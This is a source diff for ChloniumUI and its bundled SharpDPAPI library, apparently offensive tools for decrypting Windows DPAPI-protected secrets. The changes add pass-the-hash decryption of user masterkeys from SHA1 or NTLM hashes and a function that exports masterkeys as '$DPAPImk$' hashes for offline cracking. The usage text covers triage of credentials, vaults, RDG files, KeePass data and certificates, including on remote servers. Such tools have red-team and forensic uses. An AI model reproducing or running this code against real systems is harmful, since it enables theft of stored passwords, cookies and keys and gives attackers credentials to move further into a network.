- Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands:
-
- Decryption:
- /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
- /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
- GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
- /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
- /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
- /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
-
- Targeting:
- /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
- /server:SERVER - triage a remote server, assuming admin access
- Note: must use with /pvk:KEY or /password:X
- Note: not applicable to 'blob' or 'ps' commands
-
-
-Certificate Triage:
-
- Arguments for the 'certificates' command:
- /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default)
- /machine - use the local machine store for certificate triage
- /mkfile | /target - for /machine triage
- /pvk | /mkfile | /password | /server | /target - for user triage
-
-
-Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
- These functions wrap all the other applicable functions that can be automatically run.
-
-";
- Console.WriteLine(usage);
- }
- }
-}
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Version.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Version.cs
deleted file mode 100644
index 4bfa109..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Version.cs
+++ /dev/null
@@ -1,9 +0,0 @@
-using System;
-
-namespace SharpDPAPI
-{
- public static class Version
- {
- public static string version = "1.11.1";
- }
-}
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Backup.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Backup.cs
index 2a90bc1..069df9b 100644
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Backup.cs
+++ b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Backup.cs
@@ -121,19 +121,19 @@ typedef struct _KIWI_BACKUP_KEY {
{
// base64 output
string base64Key = Convert.ToBase64String(backupKeyPVK);
-
- if (noWrap)
- {
- Console.WriteLine($"[*] Key : {base64Key}");
- }
- else
- {
- Console.WriteLine("[*] Key :");
- foreach (string line in Helpers.Split(base64Key, 80))
- {
- Console.WriteLine(" {0}", line);
- }
- }
+ Console.WriteLine($"[*] Key : {base64Key}");
+ // if (noWrap)
+ // {
+ // Console.WriteLine($"[*] Key : {base64Key}");
+ // }
+ // else
+ // {
+ // Console.WriteLine("[*] Key :");
+ // foreach (string line in Helpers.Split(base64Key, 80))
+ // {
+ // Console.WriteLine(" {0}", line);
+ // }
+ // }
}
else
{
@@ -157,4 +157,4 @@ typedef struct _KIWI_BACKUP_KEY {
}
}
}
-}
\ No newline at end of file
+}
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Crypto.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Crypto.cs
index 7236c0c..18ba5a5 100644
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Crypto.cs
+++ b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Crypto.cs
@@ -153,8 +153,6 @@ public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash, b
return DeriveKeyRaw(sha1Buffer0, algHash);
}
-
- return new byte[0];
}
else
{
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Dpapi.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Dpapi.cs
index c402137..51af359 100644
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Dpapi.cs
+++ b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Dpapi.cs
@@ -2,11 +2,14 @@
using System;
using System.Collections;
using System.Collections.Generic;
+using System.Data.SqlTypes;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
+using System.Security.Principal;
using System.Text;
+using System.Text.RegularExpressions;
namespace SharpDPAPI
{
@@ -52,7 +55,7 @@ public static Tuple DescribeDPAPICertPrivateKey(string fileName,
offset += 4;
var algCryptLen = BitConverter.ToInt32(dpapiblob, offset);
-
+
offset += 4;
var saltBytes = new byte[BitConverter.ToUInt32(dpapiblob, offset)];
Array.Copy(dpapiblob, offset + 4, saltBytes, 0, BitConverter.ToUInt32(dpapiblob, offset));
@@ -88,20 +91,21 @@ public static Tuple DescribeDPAPICertPrivateKey(string fileName,
{
var keyBytes = Helpers.StringToByteArray(MasterKeys[strmkguidProvider]);
var derivedKeyBytes = Crypto.DeriveKey(keyBytes, saltBytes, algHash, entropy);
-
+
var finalKeyBytes = new byte[algCryptLen / 8];
Array.Copy(derivedKeyBytes, finalKeyBytes, algCryptLen / 8);
-
+
if (entropy != null)
{
// for CNG, we need a different padding mode
decrypted = Crypto.DecryptBlob(cipherText, finalKeyBytes, algCrypt, PaddingMode.PKCS7);
}
- else {
+ else
+ {
decrypted = Crypto.DecryptBlob(cipherText, finalKeyBytes, algCrypt);
}
}
- catch (Exception e)
+ catch (Exception)
{
Console.WriteLine($" [!] {fileName} masterkey needed: {strmkguidProvider}");
}
@@ -134,7 +138,7 @@ public static Tuple DescribeDPAPICertPrivateKey(string fileName,
Console.WriteLine(" [X] Error decrypting blob: {0}", ex);
}
}
- catch (Exception e)
+ catch (Exception)
{
Console.WriteLine($" [!] {fileName} masterkey needed: {strmkguidProvider}");
}
@@ -146,7 +150,7 @@ public static Tuple DescribeDPAPICertPrivateKey(string fileName,
break;
}
- if(decrypted.Length > 0)
+ if (decrypted.Length > 0)
{
message += $"\n Provider GUID : {strGuidProvider}\n";
message += $" Master Key GUID : {strmkguidProvider}\n";
@@ -307,7 +311,7 @@ public static Tuple DescribeCapiCertBlob(string fileName, byte[]
offset += 4;
var exPrivateKeyLen = BitConverter.ToUInt32(blobBytes, offset);
-
+
offset += 4;
var hashLen = BitConverter.ToUInt32(blobBytes, offset);
@@ -342,10 +346,10 @@ public static Tuple DescribeCapiCertBlob(string fileName, byte[]
offset += 4;
var unk = BitConverter.ToUInt32(blobBytes, offset);
-
+
offset += 4;
var pubexp = BitConverter.ToUInt32(blobBytes, offset);
-
+
offset += 4;
var data = new byte[bitlength / 8];
Array.Copy(blobBytes, offset, data, 0, bitlength / 8); //TODO
@@ -369,13 +373,12 @@ public static Tuple DescribeCapiCertBlob(string fileName, byte[]
len = siPrivateKeyLen;
}
- var offset2 = 0;
var dpapiblob = new byte[len];
Array.Copy(blobBytes, offset, dpapiblob, 0, len);
Tuple result = DescribeDPAPICertPrivateKey(fileName, dpapiblob, MasterKeys);
string message = result.First;
- if(result.Second.Length > 0)
+ if (result.Second.Length > 0)
{
message += $" Unique Name : {descriptionString}\n";
}
@@ -407,7 +410,7 @@ public static ExportedCertificate DescribeCertificate(string fileName, byte[] ce
//Console.WriteLine("decrypted result: {0}", Convert.ToBase64String(result.Second));
var certificate = new ExportedCertificate();
-
+
if ((privKeyBytes != null) && (privKeyBytes.Length > 0))
{
Tuple decryptedRSATuple = null;
@@ -578,7 +581,7 @@ public static Tuple ParseDecCapiCertBlob(byte[] decBlobBytes)
offset += len1 / 2;
var exponent1 = new byte[chunk];
Array.Copy(decBlobBytes, offset, exponent1, 0, chunk);
-
+
offset += len1 / 2;
var exponent2 = new byte[chunk];
Array.Copy(decBlobBytes, offset, exponent2, 0, chunk);
@@ -1724,10 +1727,19 @@ public static byte[] GetMasterKey(byte[] masterKeyBytes)
return masterKeySubBytes;
}
-
- public static byte[] CalculateKeys(string password, string directory, bool domain)
+
+ public static byte[] CalculateKeys(string password, string directory, bool domain, string userSID = "")
{
- var usersid = Path.GetFileName(directory).TrimEnd(Path.DirectorySeparatorChar);
+ var usersid = "";
+
+ if (!String.IsNullOrEmpty(directory))
+ {
+ usersid = Path.GetFileName(directory).TrimEnd(Path.DirectorySeparatorChar);
+ }
+ else
+ {
+ usersid = userSID;
+ }
var utf16pass = Encoding.Unicode.GetBytes(password);
var utf16sid = Encoding.Unicode.GetBytes(usersid);
@@ -1736,42 +1748,38 @@ public static byte[] CalculateKeys(string password, string directory, bool domai
utf16sid.CopyTo(utf16sidfinal, 0);
utf16sidfinal[utf16sidfinal.Length - 2] = 0x00;
- byte[] sha1bytes_password;
- byte[] hmacbytes;
+ byte[] derived = null;
+ byte[] finalKey = null;
if (!domain)
{
- //Calculate SHA1 from user password
- using (var sha1 = new SHA1Managed())
+ if (Regex.IsMatch(password, "^[a-f0-9]{40}$", RegexOptions.IgnoreCase))
{
- sha1bytes_password = sha1.ComputeHash(utf16pass);
+ // Pass-the-hash (skip initial SHA1 phase)
+ // Note: SHA1 hash must be in format: SHA1(UTF16LE(password))
+ // e.g. from mimikatz' sekurlsa::msv
+ derived = Helpers.ConvertHexStringToByteArray(password);
}
- var combined = Helpers.Combine(sha1bytes_password, utf16sidfinal);
- using (var hmac = new HMACSHA1(sha1bytes_password))
+ else
{
- hmacbytes = hmac.ComputeHash(utf16sidfinal);
+ //Calculate SHA1 from user password
+ using (var sha1 = new SHA1Managed())
+ {
+ derived = sha1.ComputeHash(utf16pass);
+ }
}
- return hmacbytes;
}
else
{
//Calculate NTLM from user password. Kerberos's RC4_HMAC key is the NTLM hash
- var rc4Hash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password);
+ //Skip NTLM hashing if the password is in NTLM format
+ string rc4Hash = Regex.IsMatch(password, "^[a-f0-9]{32}$", RegexOptions.IgnoreCase) ? password :
+ Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password);
var ntlm = Helpers.ConvertHexStringToByteArray(rc4Hash);
- var combinedNTLM = Helpers.Combine(ntlm, utf16sidfinal);
- byte[] ntlmhmacbytes;
-
//Calculate SHA1 of NTLM from user password
- using (var hmac = new HMACSHA1(ntlm))
- {
- ntlmhmacbytes = hmac.ComputeHash(utf16sidfinal);
- }
-
byte[] tmpbytes1;
- byte[] tmpbytes2;
- byte[] tmpkey3bytes;
using (var hMACSHA256 = new HMACSHA256())
{
@@ -1782,15 +1790,15 @@ public static byte[] CalculateKeys(string password, string directory, bool domai
using (var hMACSHA256 = new HMACSHA256())
{
var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes1, utf16sid, 1);
- tmpbytes2 = deriveBytes.GetBytes(16, "sha256");
+ derived = deriveBytes.GetBytes(16, "sha256");
}
+ }
- using (var hmac = new HMACSHA1(tmpbytes2))
- {
- tmpkey3bytes = hmac.ComputeHash(utf16sidfinal);
- }
- return tmpkey3bytes;
+ using (var hmac = new HMACSHA1(derived))
+ {
+ finalKey = hmac.ComputeHash(utf16sidfinal);
}
+ return finalKey;
}
public static KeyValuePair DecryptMasterKey(byte[] masterKeyBytes, byte[] backupKeyBytes)
@@ -1882,7 +1890,7 @@ public static KeyValuePair DecryptMasterKeyWithSha(byte[] master
// Support for 32777(CALG_HMAC) / 26115(CALG_3DES)
case 26115 when (algHash == 32777 || algHash == 32772):
{
- var masterKeySha1 = DecryptTripleDESHmac(derivedPreKey, encData);
+ var masterKeySha1 = DecryptTripleDESHmac(shaBytes, derivedPreKey, encData);
var masterKeyStr = BitConverter.ToString(masterKeySha1).Replace("-", "");
return new KeyValuePair(guidMasterKey, masterKeyStr);
@@ -1934,7 +1942,6 @@ private static byte[] DerivePreKey(byte[] shaBytes, int algHash, byte[] salt, in
private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byte[] encData)
{
- var HMACLen = (new HMACSHA512()).HashSize / 8;
var aesCryptoProvider = new AesManaged();
var ivBytes = new byte[16];
@@ -1950,46 +1957,21 @@ private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byt
// decrypt the encrypted data using the Pbkdf2-derived key
var plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length);
-
- var outLen = plaintextBytes.Length;
- var outputLen = outLen - 16 - HMACLen;
-
- var masterKeyFull = new byte[HMACLen];
-
- // outLen - outputLen == 80 in this case
- Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length);
+ var masterKeyFull = new byte[64];
+ Array.Copy(plaintextBytes, plaintextBytes.Length - masterKeyFull.Length, masterKeyFull, 0, masterKeyFull.Length);
using (var sha1 = new SHA1Managed())
{
var masterKeySha1 = sha1.ComputeHash(masterKeyFull);
- // we're HMAC'ing the first 16 bytes of the decrypted buffer with the shaBytes as the key
- var plaintextCryptBuffer = new byte[16];
- Array.Copy(plaintextBytes, plaintextCryptBuffer, 16);
- var hmac1 = new HMACSHA512(shaBytes);
- var round1Hmac = hmac1.ComputeHash(plaintextCryptBuffer);
-
- // round 2
- var round2buffer = new byte[outputLen];
- Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen);
- var hmac2 = new HMACSHA512(round1Hmac);
- var round2Hmac = hmac2.ComputeHash(round2buffer);
-
- // compare the second HMAC value to the original plaintextBytes, starting at index 16
- var comparison = new byte[64];
- Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length);
-
- if (comparison.SequenceEqual(round2Hmac))
- {
- return masterKeySha1;
- }
-
- throw new Exception("HMAC integrity check failed!");
+ if (!IsValidHMAC(plaintextBytes, masterKeyFull, shaBytes, typeof(HMACSHA512)))
+ throw new Exception("HMAC integrity check failed!");
+ return masterKeySha1;
}
}
- private static byte[] DecryptTripleDESHmac(byte[] final, byte[] encData)
+ private static byte[] DecryptTripleDESHmac(byte[] shaBytes, byte[] final, byte[] encData)
{
var desCryptoProvider = new TripleDESCryptoServiceProvider();
@@ -2005,14 +1987,163 @@ private static byte[] DecryptTripleDESHmac(byte[] final, byte[] encData)
desCryptoProvider.Padding = PaddingMode.Zeros;
var plaintextBytes = desCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length);
- var decryptedkey = new byte[64];
+ var masterKeyFull = new byte[64];
+ Array.Copy(plaintextBytes, plaintextBytes.Length - masterKeyFull.Length, masterKeyFull, 0, masterKeyFull.Length);
- Array.Copy(plaintextBytes, 40, decryptedkey, 0, 64);
using (var sha1 = new SHA1Managed())
{
- var masterKeySha1 = sha1.ComputeHash(decryptedkey);
+ var masterKeySha1 = sha1.ComputeHash(masterKeyFull);
+
+ if (!IsValidHMAC(plaintextBytes, masterKeyFull, shaBytes, typeof(HMACSHA1)))
+ throw new Exception("HMAC integrity check failed!");
+
return masterKeySha1;
}
}
+
+ private static bool IsValidHMAC(byte[] plaintextBytes, byte[] masterKeyFull, byte[] shaBytes, Type HMACType)
+ {
+ var obj = (HMAC)Activator.CreateInstance(HMACType);
+ var HMACLen = obj.HashSize / 8;
+
+ // we're HMAC'ing the first 16 bytes of the decrypted buffer with the shaBytes as the key
+ var hmacSalt = new byte[16];
+ Array.Copy(plaintextBytes, hmacSalt, 16);
+
+ var hmac = new byte[HMACLen];
+ Array.Copy(plaintextBytes, 16, hmac, 0, hmac.Length);
+
+ var hmac1 = (HMAC)Activator.CreateInstance(HMACType, shaBytes);
+ var round1Hmac = hmac1.ComputeHash(hmacSalt);
+
+ // round 2
+ var hmac2 = (HMAC)Activator.CreateInstance(HMACType, round1Hmac);
+ var round2Hmac = hmac2.ComputeHash(masterKeyFull);
+
+ // compare the second HMAC value to the original plaintextBytes, starting at index 16
+ if (hmac.SequenceEqual(round2Hmac))
+ {
+ return true;
+ }
+ return false;
+ }
+
+ public static KeyValuePair FormatHash(byte[] masterKeyBytes, string sid, int context = 3)
+ {
+ if (string.IsNullOrEmpty(sid) || masterKeyBytes == null)
+ return default;
+
+ var mkBytes = GetMasterKey(masterKeyBytes);
+ var guidMasterKey = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}";
+
+ var offset = 4;
+ var salt = new byte[16];
+ Array.Copy(mkBytes, 4, salt, 0, 16);
+ offset += 16;
+
+ var rounds = BitConverter.ToInt32(mkBytes, offset);
+ offset += 4;
+
+ var algHash = BitConverter.ToInt32(mkBytes, offset);
+ offset += 4;
+
+ var algCrypt = BitConverter.ToInt32(mkBytes, offset);
+ offset += 4;
+
+ var encData = new byte[mkBytes.Length - offset];
+ Array.Copy(mkBytes, offset, encData, 0, encData.Length);
+
+ int version = 0;
+ string cipherAlgo;
+ string hmacAlgo;
+
+ switch (algCrypt)
+ {
+ case 26128 when (algHash == 32782 || algHash == 32772):
+ version = 2;
+ cipherAlgo = "aes256";
+ hmacAlgo = "sha512";
+ break;
+ case 26115 when (algHash == 32777):
+ version = 1;
+ cipherAlgo = "des3";
+ hmacAlgo = "sha1";
+ break;
+ default:
+ throw new Exception($"Alg crypt '{algCrypt} / 0x{algCrypt:X8}' not currently supported!");
+ }
+
+ string hash = string.Format(
+ "$DPAPImk${0}*{1}*{2}*{3}*{4}*{5}*{6}*{7}*{8}",
+ version,
+ context,
+ sid,
+ cipherAlgo,
+ hmacAlgo,
+ rounds,
+ Helpers.ByteArrayToString(salt),
+ encData.Length * 2,
+ Helpers.ByteArrayToString(encData));
+
+ return new KeyValuePair(guidMasterKey, hash);
+ }
+
+ public static string GetPreferredKey(string file)
+ {
+ byte[] guidBytes = new byte[16];
+ using (BinaryReader reader = new BinaryReader(new FileStream(file, FileMode.Open)))
+ {
+ reader.Read(guidBytes, 0, 16);
+ }
+ return new Guid(guidBytes).ToString();
+ }
+
+ public static string GetSidFromBKFile(string bkFile)
+ {
+ string sid = string.Empty;
+ byte[] bkBytes = File.ReadAllBytes(bkFile);
+
+ if (bkBytes.Length > 28)
+ {
+ try
+ {
+ SecurityIdentifier sidObj = new SecurityIdentifier(bkBytes, 0x3c);
+ sid = sidObj.Value;
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine($"[X] Failed to parse BK file: {ex.Message}");
+ }
+ }
+ return sid;
+ }
+
+ public static string ExtractSidFromPath(string masterKeyPath)
+ {
+ string sid = String.Empty;
+
+ // First check if there is a BK file we can get the SID from
+ foreach (string file in Directory.GetFiles(Path.GetDirectoryName(masterKeyPath), "*", SearchOption.TopDirectoryOnly))
+ {
+ if (Path.GetFileName(file).StartsWith("BK-"))
+ {
+ sid = GetSidFromBKFile(file);
+ if (!String.IsNullOrEmpty(sid))
+ {
+ //Console.WriteLine($"[*] Found SID from BK file: {sid}");
+ break;
+ }
+ }
+ }
+
+ // Fall back to directory name
+ if (String.IsNullOrEmpty(sid) && Regex.IsMatch(Path.GetDirectoryName(masterKeyPath),
+ @"S-\d-\d+-(\d+-){1,14}\d+$", RegexOptions.IgnoreCase))
+ {
+ sid = Path.GetFileName(Path.GetDirectoryName(masterKeyPath));
+ //Console.WriteLine($"[*] Found SID from path: {sid}");
+ }
+ return sid;
+ }
}
}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Triage.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Triage.cs
index 7f1844a..17fb97c 100644
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Triage.cs
+++ b/ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Triage.cs
@@ -10,21 +10,22 @@ namespace SharpDPAPI
{
public class Triage
{
- public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "", string target = "")
+ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "",
+ string password = "", string target = "", string userSID = "", bool dumpHash = false)
{
// triage all *user* masterkeys we can find, decrypting if the backupkey is supplied
-
+
var mappings = new Dictionary();
+ var preferred = new Dictionary();
var canAccess = false;
if (!String.IsNullOrEmpty(target))
{
// if we're targeting specific masterkey files
-
- if (backupKeyBytes.Length == 0)
+ if (((backupKeyBytes == null) || (backupKeyBytes.Length == 0)) && String.IsNullOrEmpty(userSID))
{
// currently only backupkey is supported
- Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...'");
+ Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...' or '/password:X'");
return mappings;
}
@@ -34,7 +35,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy
return mappings;
}
- KeyValuePair plaintextMasterKey;
+ KeyValuePair plaintextMasterKey = default;
if ((File.GetAttributes(target) & FileAttributes.Directory) == FileAttributes.Directory)
{
@@ -46,11 +47,29 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy
{
FileInfo f = new FileInfo(file);
+ if (f.Name.ToLower() == "preferred" && f.Length == 24)
+ preferred.Add(target, Dpapi.GetPreferredKey(file));
+
if (Helpers.IsGuid(f.Name))
{
var masterKeyBytes = File.ReadAllBytes(file);
- plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes);
- mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
+ if ((backupKeyBytes != null) && (backupKeyBytes.Length != 0))
+ {
+ plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes);
+ }
+ else if (!String.IsNullOrEmpty(password) && !String.IsNullOrEmpty(userSID))
+ {
+ byte[] hmacBytes = Dpapi.CalculateKeys(password, "", true, userSID);
+ plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes);
+ }
+ else if (dumpHash)
+ {
+ userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file);
+ plaintextMasterKey = Dpapi.FormatHash(masterKeyBytes, userSID);
+ }
+
+ if (!plaintextMasterKey.Equals(default(KeyValuePair)))
+ mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
}
}
catch (Exception e)
@@ -65,8 +84,23 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy
try
{
var masterKeyBytes = File.ReadAllBytes(target);
- plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes);
- mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
+ if ((backupKeyBytes != null) && (backupKeyBytes.Length != 0))
+ {
+ plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes);
+ }
+ else if (!String.IsNullOrEmpty(password))
+ {
+ byte[] hmacBytes = Dpapi.CalculateKeys(password, "", true, userSID);
+ plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes);
+ }
+ else if (dumpHash)
+ {
+ userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(target);
+ plaintextMasterKey = Dpapi.FormatHash(masterKeyBytes, userSID);
+ }
+
+ if (!plaintextMasterKey.Equals(default(KeyValuePair)))
+ mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
}
catch (Exception e)
{
@@ -136,6 +170,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy
foreach (var file in files)
{
+ if (Path.GetFileName(file).ToLower() == "preferred" && new FileInfo(file).Length == 24)
+ preferred.Add(directory, Dpapi.GetPreferredKey(file));
+
if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
continue;
@@ -147,19 +184,25 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy
var masterKeyBytes = File.ReadAllBytes(file);
try
{
- KeyValuePair plaintextMasterKey;
+ KeyValuePair plaintextMasterKey = default;
if (!String.IsNullOrEmpty(password))
{
plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes);
}
- else
+ else if (backupKeyBytes != null)
{
plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes);
}
+ else if (dumpHash)
+ {
+ userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file);
+ plaintextMasterKey = Dpapi.FormatHash(masterKeyBytes, userSID, isDomain ? 3 : 1);
+ }
- mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
+ if (!plaintextMasterKey.Equals(default(KeyValuePair)))
+ mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
}
- catch (Exception e)
+ catch (Exception)
{
// Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message);
}
@@ -168,6 +211,15 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy
}
}
+ if (show && preferred.Count != 0)
+ {
+ Console.WriteLine("\n[*] Preferred master keys:\r\n");
+ foreach (var kvp in preferred)
+ {
+ Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
+ }
+ }
+
if (!String.IsNullOrEmpty(password))
{
if (mappings.Count == 0)
diff --git a/ChloniumUI/TriageExtension.cs b/ChloniumUI/TriageExtension.cs
index a20a10f..e918882 100644
--- a/ChloniumUI/TriageExtension.cs
+++ b/ChloniumUI/TriageExtension.cs
@@ -30,12 +30,13 @@ public static string GetSidFromBKFile(string bkFile)
return sid;
}
- public static Dictionary TriageUserMasterKeys(string password, string target)
+ public static Dictionary TriageUserMasterKeys(string password, string target, bool quiet = true)
{
- // Extension to SharpDPAPI TriageMasterKeys method to support specifying a target and password
+ // Extension to SharpDPAPI TriageMasterKeys method to support specifying a target and password *or* NTLM
Dictionary mappings = new Dictionary();
string sid = string.Empty;
+ bool domain = false;
if (string.IsNullOrEmpty(password) || string.IsNullOrEmpty(target) || !Directory.Exists(target))
return mappings;
@@ -45,6 +46,7 @@ public static Dictionary TriageUserMasterKeys(string password, s
{
if (Path.GetFileName(file).StartsWith("BK-"))
{
+ domain = true;
sid = GetSidFromBKFile(file);
if (!string.IsNullOrEmpty(sid))
break;
@@ -52,7 +54,8 @@ public static Dictionary TriageUserMasterKeys(string password, s
}
// Fall back to directory name
- if (string.IsNullOrEmpty(sid) && Regex.IsMatch(Path.GetFileName(target), @"^S-\d-\d+-(\d+-){1,14}\d+$", RegexOptions.IgnoreCase))
+ if (string.IsNullOrEmpty(sid) &&
+ Regex.IsMatch(Path.GetFileName(target), @"^S-\d-\d+-(\d+-){1,14}\d+$", RegexOptions.IgnoreCase))
{
sid = Path.GetFileName(target);
}
@@ -64,7 +67,7 @@ public static Dictionary TriageUserMasterKeys(string password, s
return mappings;
}
- byte[] hmacBytes = Dpapi.CalculateKeys(password, sid, true);
+ byte[] hmacBytes = Dpapi.CalculateKeys(password, "", domain, sid);
foreach (string file in Directory.GetFiles(target, "*", SearchOption.AllDirectories))
{
@@ -84,7 +87,8 @@ public static Dictionary TriageUserMasterKeys(string password, s
}
catch (Exception e)
{
- MessageBox.Show($"Error triaging {file} : {e.Message}");
+ if (!quiet)
+ MessageBox.Show($"Error triaging {file} : {e.Message}");
}
}
return mappings;